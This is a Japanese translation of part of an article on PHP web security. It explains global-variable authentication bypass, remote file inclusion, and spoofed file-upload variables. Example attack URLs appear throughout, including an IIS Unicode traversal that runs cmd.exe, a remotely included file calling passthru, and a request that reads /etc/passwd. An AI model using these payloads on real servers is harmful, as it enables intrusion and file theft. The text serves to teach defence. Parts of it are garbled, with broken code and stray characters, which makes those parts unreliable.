この記事を翻訳した理由は、現在の CGI のセキュリティに関する記事はすべて Perl を例に挙げており、ASP、PHP、JSP のセキュリティについて具体的に紹介している記事が非常に少ないためです。 Shaun Clowes によるこの記事では、PHP のセキュリティ問題についてより包括的に説明しています。元の記事は http://www.securereality.com.au/studyinscarlet.txt にあります。
原文は比較的長く、記事の背景やPHPの基礎知識の紹介がかなりの部分を占めており、PHPのセキュリティには触れていないため、翻訳はしませんでした。これについて詳しく知りたい場合は、元の記事を参照してください。
この記事では主に、グローバル変数、リモート ファイル、ファイル アップロード、ライブラリ ファイル、セッション ファイル、データ型、エラーが発生しやすい関数の側面から PHP のセキュリティを分析し、PHP のセキュリティを強化する方法についても説明します。 PHP ではいくつかの有益な提案が行われました。
さて、ナンセンスな話はこれくらいにして、本題に取り掛かりましょう!
[グローバル変数]
PHP の変数は、最初に使用するときに自動的に作成され、型を指定する必要はありません。文脈に基づいて決定されます。プログラマの観点から見ると、これは間違いなく非常に便利な方法です。明らかに、これは高速開発言語の非常に便利な機能でもあります。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、最初に作成された変数は空であるため、プログラマが変数を初期化することはほとんどありません。
明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアントに返します。ブラウザを終了します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこの入力データをグローバル変数として扱います。
例:
明らかに、これによりテキスト ボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキスト ボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が自分の希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに http://server/test.php?hello=hi&setup=no を直接入力すると、「$hello」だけでなく、 「$setup」も作成されます。
翻訳者注: これら 2 つのメソッドは、通常「POST」メソッドと「GET」メソッドと呼ばれるものです。
次のユーザー認証コードは、PHP のグローバル変数によって引き起こされるセキュリティ問題を明らかにします。
if ($pass == "hello")
$auth = 1 ; >...
if ($auth == 1)
echo "some important information";
?>
上記のコードは、最初にユーザーのパスワードが「hello」であるかどうかを確認します。 、一致した場合は、「$auth」を「1」に設定します。つまり、認証が成功します。その後、「$suth」が「1」の場合、いくつかの重要な情報が表示されます。
表面的には正しいように見えますし、多くの人がそうしていますが、このコードは、値が設定されていないときに "$auth" が空であると想定するという間違いを犯しています。攻撃者は、「http://server/test.php?auth=1」のようなメソッドを使用して、任意のグローバル変数を作成し、値を割り当てることができます。このコードを完全に欺き、認証済みであると思わせることができます。
したがって、PHP プログラムのセキュリティを向上させるために、明確に定義されていない変数は信頼できません。プログラム内に多くの変数がある場合、これは非常に困難な作業になる可能性があります。
一般的な保護方法は、送信方法 (GET または POST) に応じて、配列 HTTP_GET[] または POST_VARS[] 内の変数をチェックすることです。 PHP が「track_vars」オプション (デフォルト) をオンにするように構成されている場合、ユーザーが送信した変数はグローバル変数と上記の配列で使用できます。
しかし、PHP にはユーザー入力の処理に使用される 4 つの異なる配列変数があることは言及する価値があります。 HTTP_GET_VARS 配列は GET モードで送信された変数の処理に使用され、HTTP_POST_VARS 配列は POST モードで送信された変数の処理に使用され、HTTP_COOKIE_VARS 配列は Cookie ヘッダーとして送信された変数の処理に使用され、HTTP_POST_FILES 配列 (新しい PHP によって提供される) に使用されます。 )、これはユーザーが変数を送信するための完全にオプションの方法です。ユーザーリクエストは変数をこれら 4 つの配列に簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります。
[リモートファイル]
PHP は機能が豊富な言語であり、多数の関数が提供されているため、プログラマは特定の機能を簡単に実装できます。しかし、セキュリティの観点から見ると、関数が増えれば増えるほど、そのセキュリティを確保することが難しくなります。リモート ファイルはこの問題の良い例です。
if ( !($fd) = fopen("$filename", "r"))
echo("ファイルを開けませんでした: $filename
");
?>
上もちろん、「$filename」を指定できれば、このスクリプトを使用してシステム内の任意のファイルを参照できます。ただし、このスクリプトには別の問題があります。最も明白な機能は、他の WEB サイトまたは FTP サイトからファイルを読み取ることができることです。実際、PHP のファイル処理関数のほとんどは、リモート ファイルに対して透過的です。たとえば、
の場合、「$filename」は次のようになります。 "http://target/scripts/..� ../winnt/system32/cmd.exe?/c dir" として指定します
上記のコードは実際にホスト ターゲットの Unicode 脆弱性を使用しており、dir コマンドが実行されます。 🎜>
これにより、リモート ファイルをサポートする include()、require()、include_once() および require_once() が、これらの関数のコンテキストでより興味深いものになり、ファイルの内容を指定し、PHP コードに従って解釈されます。
例:
include($libdir . "/lungs.php" );
上記の例では、「$libdir」は通常、コードの実行前に設定されているパスです。攻撃者が「$libdir」の設定を阻止できる場合、このパスを変更することはできません。攻撃者は指定したパスにあるファイル language.php にのみアクセスできるため、何もできません (Perl の「Poison null byte」攻撃は PHP には影響しません)。たとえば、攻撃者は次のようなことを行うことができます。攻撃者は、次の内容を含むファイル language.php をサーバーに配置する可能性があります。
passthru( "/bin/ls /etc"); >
次に、「$libdir」を「http://
/」に設定します。これにより、上記の攻撃コードを実行すると、結果として「/etc」ディレクトリの内容が顧客のブラウザに返されます。 。
攻撃サーバー (evilhost) は PHP コードを実行できないことに注意してください。そうでない場合、攻撃コードはターゲット サーバーではなく攻撃サーバーで実行されます。特定の技術的な詳細については、http://www.securereality.com.au/sradv00006.txt を参照してください。
[ファイル アップロード]
PHP は、RFC 1867 に基づいてファイル アップロードを自動的にサポートします。次の例:
ユーザーがローカル マシンからファイルを選択できるようにします。[送信] をクリックすると、ファイルがサーバーにアップロードされます。これは明らかに便利な機能ですが、PHP の応答方法により安全ではありません。 PHP がそのようなリクエストを初めて受信すると、呼び出された PHP コードの解析を開始する前でも、まずリモート ユーザーからファイルを受け入れ、ファイルの長さが「$MAX_FILE_SIZE 変数」で定義された値を超えているかどうかを確認します。テスト用に、ファイルはローカルの一時ディレクトリに保存されます。
したがって、PHP プログラムがファイルのアップロードを受け入れるかどうかを決定する前に、ファイルはすでにサーバーに保存されているため、攻撃者は PHP を実行しているホストに任意のファイルを送信することができます。
ここでは、ファイルのアップロードを使用してサーバー上で DOS 攻撃を実行する可能性については説明しません。
ファイルのアップロードを処理する PHP プログラムを考えてみましょう。上で述べたように、ファイルはサーバー上で受信および保存されます (場所は構成ファイルで指定されており、通常は /tmp)。 「phpxXuoXG」形式に似たランダム。 PHP プログラムは、ファイルを処理するためにファイルの情報をアップロードする必要があります。これには 2 つの方法があります。1 つは PHP 3 ですでに使用されており、もう 1 つは以前の方法に関するセキュリティ アドバイザリを作成した後に導入されました。
しかし、問題は依然として存在しており、ほとんどの PHP プログラムはアップロードされたファイルを処理するために依然として古い方法を使用していると確信できます。PHP は、上記の例のように、アップロードされたファイルを記述するために 4 つのグローバル変数を設定します。
$hello = ローカル マシン上のファイル名 (例: "/tmp/phpxXuoXG")
$hello_size = ファイルのバイト単位のサイズ (例: 1024)
$hello_name = リモート システム上のファイルの元の名前 (例: "c:emphello.txt")
$hello_type = アップロードされたファイルの MIME タイプ (例: "text/plain")
その後、PHP プログラムは "$hello" に従って指定されたファイルの処理を開始します。問題は、"$hello" が必ずしも PHP によって設定された変数ではなく、リモート ユーザーであれば誰でも指定できることです。次のメソッドを使用すると:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
の結果は次の PHP になります。グローバル変数 (もちろん POST メソッドも可能 (Cookie も)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上記のフォーム データは、PHP プログラムが期待する変数を満たしていますが、この時点では、PHP プログラムはアップロードされたファイルを処理せず、「/etc/」を処理します。 passwd ” (多くの場合、コンテンツの露出につながります)。この攻撃を使用すると、機密ファイルの内容が暴露される可能性があります。
前に述べたように、新しいバージョンの PHP は HTTP_POST_FILES[] を使用してファイルのアップロードを決定します。たとえば、特定のファイルがアップロードされているかどうかを判断する関数も提供されています。実際にアップロードされたファイル。これらの関数はこの問題をうまく解決しますが、実際には、依然として古い方法を使用しており、この攻撃に対して脆弱な PHP プログラムが数多くあるはずです。
ファイル アップロード攻撃手法のバリエーションとして、次のコードを見てみましょう:
if (file_exists($theme)) //ファイルがローカル システムに存在することを確認します (リモート ファイルは存在しません)。 「$theme」を悪用してリモート システム上の任意のファイルを読み取ることができます。攻撃者の最終的な目標は、リモート サーバー上で任意の命令を実行することですが、リモート ファイルを使用できないため、リモート サーバー上に PHP ファイルを作成する必要があります。これは最初は不可能に思えるかもしれませんが、攻撃者が最初にローカル マシン上に PHP コードを含むファイルを作成し、次に "theme" という名前のファイル フィールドを含むフォームを作成し、最後にこのフォームを使用すると、これが行われます。作成した PHP コードを含むファイルをファイルアップロードを通じて上記のコードに送信すると、PHP は攻撃者が送信したファイルを保存し、file_exists() 関数を攻撃者が送信したファイルに設定します。チェックに合格し、攻撃者のコードが実行されます。
攻撃者は任意の命令を実行できるようになった後、権限を昇格させたり、結果を拡大したりすることを意図しているのは明らかで、これにはサーバー上で利用できないいくつかのツールセットが必要ですが、ファイルのアップロードが再び役に立ちました。攻撃者は、ファイル アップロード機能を使用してツールをアップロードし、サーバーに保存してからコマンドを実行し、chmod() を使用してファイルのアクセス許可を変更し、それを実行する可能性があります。たとえば、攻撃者はファイアウォールまたは IDS をバイパスして、ローカルの root 攻撃プログラムをアップロードして実行し、root 権限を取得する可能性があります。